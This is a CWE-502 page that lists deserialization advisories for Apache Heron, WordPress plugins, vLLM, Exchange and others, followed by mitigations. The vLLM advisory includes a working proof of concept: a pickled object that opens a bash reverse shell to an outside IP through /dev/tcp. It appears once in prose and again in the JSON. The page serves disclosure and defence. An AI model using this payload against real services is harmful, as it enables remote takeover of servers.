Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4798 vulnerabilities reference this CWE, most recent first.

GHSA-HJGM-F7VX-M5G7

Vulnerability from github – Published: 2022-01-06 19:44 – Updated: 2021-05-25 19:50
VLAI
Summary
Deserialization of Untrusted Data in Apache Heron
Details

It was noticed that Apache Heron 0.20.2-incubating, Release 0.20.1-incubating, and Release v-0.20.0-incubating does not configure its YAML parser to prevent the instantiation of arbitrary types, resulting in a remote code execution vulnerabilities (CWE-502: Deserialization of Untrusted Data).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.2-incubating"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.heron:heron-simulator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.20.0-incubating"
            },
            {
              "fixed": "0.20.3-incubating"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-25T19:50:23Z",
    "nvd_published_at": "2020-04-16T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "It was noticed that Apache Heron 0.20.2-incubating, Release 0.20.1-incubating, and Release v-0.20.0-incubating does not configure its YAML parser to prevent the instantiation of arbitrary types, resulting in a remote code execution vulnerabilities (CWE-502: Deserialization of Untrusted Data).",
  "id": "GHSA-hjgm-f7vx-m5g7",
  "modified": "2021-05-25T19:50:23Z",
  "published": "2022-01-06T19:44:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1964"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r16dd39f4180e4443ef4ca774a3a5a3d7ac69f91812c183ed2a99e959%40%3Cdev.heron.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd43ae18588fd7bdb375be63bc95a651aab319ced6306759e1237ce67@%3Cdev.ignite.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re7b43cf8333ee30b6589e465f72a6ed4a082222612d1a0fdd30beb94@%3Cdev.ignite.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re7b43cf8333ee30b6589e465f72a6ed4a082222612d1a0fdd30beb94@%3Cuser.ignite.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf032a13a4711f88c0a2c0734eecbee1026cc1b6cde27d16a653f8755@%3Cdev.ignite.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Apache Heron"
}

GHSA-HJP2-WG69-G55X

Vulnerability from github – Published: 2024-03-05 03:30 – Updated: 2024-03-05 03:30
VLAI
Details

The Auto Refresh Single Page plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.1 via deserialization of untrusted input from the arsp_options post meta option. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-1731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T02:15:26Z",
    "severity": "HIGH"
  },
  "details": "The Auto Refresh Single Page plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.1 via deserialization of untrusted input from the arsp_options post meta option. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
  "id": "GHSA-hjp2-wg69-g55x",
  "modified": "2024-03-05T03:30:31Z",
  "published": "2024-03-05T03:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1731"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/auto-refresh-single-page/trunk/auto-refresh-single-page.php#L42"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f8f8d46-d7e7-4b07-9b10-15e579973474?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJQ4-87XH-G4FV

Vulnerability from github – Published: 2025-05-20 18:04 – Updated: 2025-05-20 20:56
VLAI
Summary
vLLM Allows Remote Code Execution via PyNcclPipe Communication Service
Details

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary

vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.​

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details

The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

  1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched:
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
    kv_ip="0.0.0.0",
    kv_port=18888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
  1. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='172.17.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

The call stack triggering ​RCE is as follows:

vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
    -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
        -> vllm.distributed.utils.StatelessProcessGroup.recv_obj
            -> pickle.loads

Getshell as follows:

image

Reporters

This issue was reported independently by three different parties:

  • @kikayli (Zhuque Lab, Tencent)
  • @omjeki
  • Russell Bryant (@russellb)

Fix

  • https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.5"
            },
            {
              "fixed": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-20T18:04:30Z",
    "nvd_published_at": "2025-05-20T18:15:46Z",
    "severity": "CRITICAL"
  },
  "details": "### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the\u00a0`PyNcclPipe`\u00a0class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the\u00a0`PyNcclCommunicator`\u00a0class, while CPU-side control message passing is handled via the\u00a0`send_obj`\u00a0and\u00a0`recv_obj`\u00a0methods on the CPU side.\u200b \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to \u200bRemote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd=\u0027/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/172.28.176.1/8888 0\u003e\u00261\"\u0027\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host=\u0027172.17.0.1\u0027,\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering \u200bRCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-\u003e vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-\u003e vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-\u003e pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.",
  "id": "GHSA-hjq4-87xh-g4fv",
  "modified": "2025-05-20T20:56:42Z",
  "published": "2025-05-20T18:04:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47277"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/15988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7"
    },
    {
      "type": "WEB",
      "url": "https://docs.vllm.ai/en/latest/deployment/security.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Allows Remote Code Execution via PyNcclPipe Communication Service"
}

GHSA-HJQJ-53JJ-F33R

Vulnerability from github – Published: 2025-09-03 00:30 – Updated: 2025-09-03 00:30
VLAI
Details

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to PHP Object Injection in versions 5.1.16 to 6.1.1 via deserialization of untrusted input in the parseUserProperties function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to read arbitrary files. If allow_url_include is enabled on the server, remote code execution is possible. While the vendor patched this issue in version 6.1.0, the patch caused a fatal error in the vulnerable code, due to a missing class import, so we consider 6.1.2 to be the most complete and best patched version

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-9260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-03T00:15:30Z",
    "severity": "MODERATE"
  },
  "details": "The Fluent Forms \u2013 Customizable Contact Forms, Survey, Quiz, \u0026 Conversational Form Builder plugin for WordPress is vulnerable to PHP Object Injection in versions 5.1.16 to 6.1.1 via deserialization of untrusted input in the parseUserProperties function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to read arbitrary files. If allow_url_include is enabled on the server, remote code execution is possible.\nWhile the vendor patched this issue in version 6.1.0, the patch caused a fatal error in the vulnerable code, due to a missing class import, so we consider 6.1.2 to be the most complete and best patched version",
  "id": "GHSA-hjqj-53jj-f33r",
  "modified": "2025-09-03T00:30:58Z",
  "published": "2025-09-03T00:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9260"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluentform/tags/6.0.2/app/Services/FormBuilder/EditorShortcodeParser.php#L214"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluentform/tags/6.0.2/vendor/wpfluent/framework/src/WPFluent/View/View.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/938e5d6b-1ad6-4021-a148-1d1c9e8a0a83?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJQJ-QJQ9-MVGJ

Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in nanbu Welcart e-Commerce allows Object Injection. This issue affects Welcart e-Commerce: from n/a through 2.11.16.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-54012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T08:15:45Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in nanbu Welcart e-Commerce allows Object Injection. This issue affects Welcart e-Commerce: from n/a through 2.11.16.",
  "id": "GHSA-hjqj-qjq9-mvgj",
  "modified": "2026-04-01T18:35:56Z",
  "published": "2025-08-20T09:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54012"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/usc-e-shop/vulnerability/wordpress-welcart-e-commerce-plugin-2-11-16-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJR4-FHGP-23G9

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2024-10-14 16:09
VLAI
Summary
qlib Deserialization of Untrusted Data vulnerability
Details

This affects all versions of package qlib. The workflow function in cli part of qlib was using an unsafe YAML load function.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyqlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-29T11:02:15Z",
    "nvd_published_at": "2021-02-15T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This affects all versions of package qlib. The workflow function in cli part of qlib was using an unsafe YAML load function.",
  "id": "GHSA-hjr4-fhgp-23g9",
  "modified": "2024-10-14T16:09:46Z",
  "published": "2022-05-24T17:42:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23338"
    },
    {
      "type": "WEB",
      "url": "https://github.com/418sec/huntr/pull/1329"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/qlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyqlib/PYSEC-2021-86.yaml"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-PYTHON-PYQLIB-1085990"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-PYTHON-QLIB-1054635"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qlib Deserialization of Untrusted Data vulnerability"
}

GHSA-HJXR-GV9H-RJXC

Vulnerability from github – Published: 2023-02-14 21:30 – Updated: 2026-04-13 18:30
VLAI
Details

Microsoft Exchange Server Remote Code Execution Vulnerability

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-21529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Exchange Server Remote Code Execution Vulnerability",
  "id": "GHSA-hjxr-gv9h-rjxc",
  "modified": "2026-04-13T18:30:34Z",
  "published": "2023-02-14T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21529"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21529"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-21529"
    },
    {
      "type": "WEB",
      "url": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HM34-CC7R-4P3X

Vulnerability from github – Published: 2022-04-06 00:01 – Updated: 2022-04-14 00:00
VLAI
Details

The HTTP client in MashZone NextGen through 10.7 GA deserializes untrusted data when it gets an HTTP response with a 570 status code.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-33207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-05T03:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The HTTP client in MashZone NextGen through 10.7 GA deserializes untrusted data when it gets an HTTP response with a 570 status code.",
  "id": "GHSA-hm34-cc7r-4p3x",
  "modified": "2022-04-14T00:00:37Z",
  "published": "2022-04-06T00:01:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blackarrowsec/advisories/tree/master/2021/CVE-2021-33207"
    },
    {
      "type": "WEB",
      "url": "https://www.softwareag.com/corporate/products/az/mashzone_nextgen/default"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HM97-5498-HWC7

Vulnerability from github – Published: 2026-07-13 12:35 – Updated: 2026-07-13 12:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in Themeum Kirki kirki allows Object Injection.This issue affects Kirki: from n/a through <= 6.0.12.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-57724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T10:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Themeum Kirki kirki allows Object Injection.This issue affects Kirki: from n/a through \u003c= 6.0.12.",
  "id": "GHSA-hm97-5498-hwc7",
  "modified": "2026-07-13T12:35:04Z",
  "published": "2026-07-13T12:35:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57724"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/kirki/vulnerability/wordpress-kirki-plugin-6-0-12-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HMH7-P3J6-5G37

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

IBM MQ 7.5, 8.0, 9.0, 9.1, 9.2 LTS, and 9.2 CD could allow a remote attacker to execute arbitrary code on the system, caused by an unsafe deserialization of trusted data. An attacker could exploit this vulnerability to execute arbitrary code on the system. IBM X-Force ID: 186509.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-4682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-28T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "IBM MQ 7.5, 8.0, 9.0, 9.1, 9.2 LTS, and 9.2 CD could allow a remote attacker to execute arbitrary code on the system, caused by an unsafe deserialization of trusted data. An attacker could exploit this vulnerability to execute arbitrary code on the system. IBM X-Force ID: 186509.",
  "id": "GHSA-hmh7-p3j6-5g37",
  "modified": "2022-05-24T17:40:30Z",
  "published": "2022-05-24T17:40:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4682"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/186509"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6408626"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.

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